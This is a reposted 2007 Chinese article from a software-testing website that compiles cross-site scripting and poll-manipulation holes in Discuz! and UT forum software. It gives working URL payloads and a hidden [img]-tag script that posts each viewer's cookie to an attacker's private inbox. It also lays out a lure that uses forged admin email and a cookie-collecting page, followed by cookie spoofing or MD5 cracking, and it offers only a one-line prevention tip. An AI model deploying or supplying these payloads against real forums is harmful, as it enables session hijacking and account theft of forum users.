• 软件测试技术
  • 软件测试博客
  • 软件测试视频
  • 开源软件测试技术
  • 软件测试论坛
  • 软件测试沙龙
  • 软件测试资料下载
  • 软件测试杂志
  • 软件测试人才招聘
    暂时没有公告

字号: | 推荐给好友 上一篇 | 下一篇

Discuz!跨站大全

发布: 2007-7-14 19:53 | 作者: 佚名    | 来源: 网络转载     | 查看: 8次 | 进入软件测试论坛讨论

领测软件测试网 在discuz!的发贴、回贴、PM等中的subject都没有经过过滤,所以也可以添加代码。
例如
http://xxx/post.php?action=newthread&fid=2...cript%3E%3Cb%22

效果是首先弹出自己的cookie
利用方法:把上述代码放置到img中。

适用版本:discuz!2.x
discuz!3.x
一种利用discuz!2.0漏洞进行欺骗获得cookie的尝试

通过测试XXXFan论坛的PM功能存在一个安全漏洞,具体描述如下:
XXXFan的给某个会员发送悄悄的链接如下(假定这个会员名字为XXXFan)
http://XXX/pm.php?action=send&username=XXXFan

因为论坛程序对会员名字没有进行过滤,而是直接显示在发送到栏目中(TO:),所以可以在名字后面加上script代码。例如

http://XXX/pm.php?action=send&username=XXXFan ";><script>alert(document..cookie)</script><b%20"

上面的链接点击以后首先弹出的是自己的cookie内容。
当然我们可以先在自己的站点上构造一个程序来收集cookie,类似于
getcookie.php?cookie=

但是如何来诱使会员点击呢,如果简单的放在论坛上,太容易被识别。所以可以利用discuz论坛程序的另外一个功能,“帖子介绍给朋友”功能。

因为discuz的这个功能对填写的emial地址没有进行任何过滤、辨别和模版,可以伪造任何人给别人发信,安全性很高。利用这个功能我们就可以伪造ExploitFan的管理员给某个会员发一封信,诱使会员点击我们准备的URL,如果诱使就看自己的手段了,例如可以说“论坛正在测试新功能,请您协助点击上面地址,我们会在后台记录您的点击在合适的时间会给您增加积分以做奖励”等等。

因为链接地址是XXXFan的,而且发信人和邮件地址都是XXXFan的官方地址,所以可信度非常高,而且不会留下任何把柄。当然为了更高的安全性,可以在<script>里的内容加密,以进一步增加隐蔽性。

至于得到cookie如何做,可以尝试cookie欺骗或者是暴力破解MD5密码

本方法适用于大部分使用discuz2.0的论坛,至于discuz3.0的利用方法请参与在我以前发表的discuz!悄悄话漏洞
【BUG】Discuz!投票的BUG
投票可以用
misc.php?action=votepoll&fid=2&tid=16980&pollanswers[]=n
(n为选项,从0开始)
的方式通过URL来直接投票

但是如果n>最大选项呢,嘻嘻~
照样提交成功,不过增加了一个标题为空的选项

效果见:
http://discuz.net/viewthread.php?tid=20020&sid=dymPEc
(那个最后的空白的是我刚加的)

该漏洞存在的版本:
Discuz!3.X
Discuz!2.X(可能,没有测试过)
Discuz!的代码漏洞
这是接着昨天发现的漏洞所展开的,第一发现者(PK0909)。

具体的描述就不说了,下面是一个简单的测试代码。

http://www.xxxx.net/phpbbs/post.php?action...%3C%2Fscript%3E

上面的代码是显示出自己的cookie

下面是在某个比较有名的论坛的测试代码,无论谁察看该网页都会把cookie送到指定的会员短信箱里,隐蔽性很好,就是如果有人引用你的贴,哈哈~这里都会跑出来,露馅了

[ img]http://xxx.com/xx.gif%22%20style=display:none%3e%3c/img%3e%3cscript%3evar%20Req=new%20ActiveXObject(%22MSXML2.XMLHTTP%22);Req.open(%22post%22,%22http://www.XXXX.com/forum/pm.php?action=send%22,false);var%20forms=%22pmSubmit=Submit%22.toLowerCase()%2B%22%26msgto=XXXXX%26subject=cookie%26saveoutbox=0%26message=%22%2Bescape(document..cookie);Req.setRequestHeader(%22Content-length%22,forms.length)%3BReq.setRequestHeader(%22CONTENT-TYPE%22,%22application/x-www-form-urlencoded%22);Req.send(forms);%3c/script%3e%3cb%22 [ /img]
发现discuz!UT 跨域站点的脚本漏洞--短消息篇有关跨域站点的脚本漏洞,已经算是非常平成并普遍的漏洞了。
有关具体的消息可以参阅:
http://www.cert.org/advisories/CA-2000-02.html
下面针对Discuz、UT论坛程序的悄悄话部分加以说明

漏洞适应版本:
Discuz1.X
Discuz!2.0(0609,0820版)
Discuz!3.X
UT 1.0

漏洞描述:

discuz!给指定会员发送悄悄话使用的是类似http://www.XXXX.net/phpbbs/pm.php?action=send&username=name 的语句,但是name没有经过过滤直接显示在发送短消息的页面中,这就给偷cookie或者更严重的破坏打开了方便之门。

Discuz!3.X已经改为http://XXX.net/pm.php?action=send&uid=XXXX类似的语句,避免了这个漏洞,但是在选择短信文件夹的时候却没有经过过滤。同样产生了上面的漏洞



http://www.XXXX.net/phpbbs/pm.php?action=s...d&username=name %22%3E%3Cscript%3Ealert(document..cookie)%3C/script%3E%3Cb%22[/url]
,上面的例子是显示自己的cookie。(针对Discuz!1.X Discuz!2.X)

http://XXX.net/pm.php?folder=inbox%22%3E%3...cript%3E%3Cb%22
显示自己的cookie。(针对Discuz!3.X)

UT虽然在主题上经过了过滤,也就是说把%27转换为';但是其收件人却没有过滤,所以同样有类似的漏洞。例子略。(在不同的UT论坛上发现其代码不尽相同,但是总的来说都有类似的漏洞)


危害度:中弱

预防办法:
点击超级链接时请注意其真实内容。更多的安全补丁请密切关注官方论坛。

延伸阅读

文章来源于领测软件测试网 https://www.ltesting.net/


关于领测软件测试网 | 领测软件测试网合作伙伴 | 广告服务 | 投稿指南 | 联系我们 | 网站地图 | 友情链接
版权所有(C) 2003-2010 TestAge(领测软件测试网)|领测国际科技(北京)有限公司|软件测试工程师培训网 All Rights Reserved
北京市海淀区中关村南大街9号北京理工科技大厦1402室 京ICP备2023014753号-2
技术支持和业务联系:info@testage.com.cn 电话:010-51297073

软件测试 | 领测国际ISTQBISTQB官网TMMiTMMi认证国际软件测试工程师认证领测软件测试网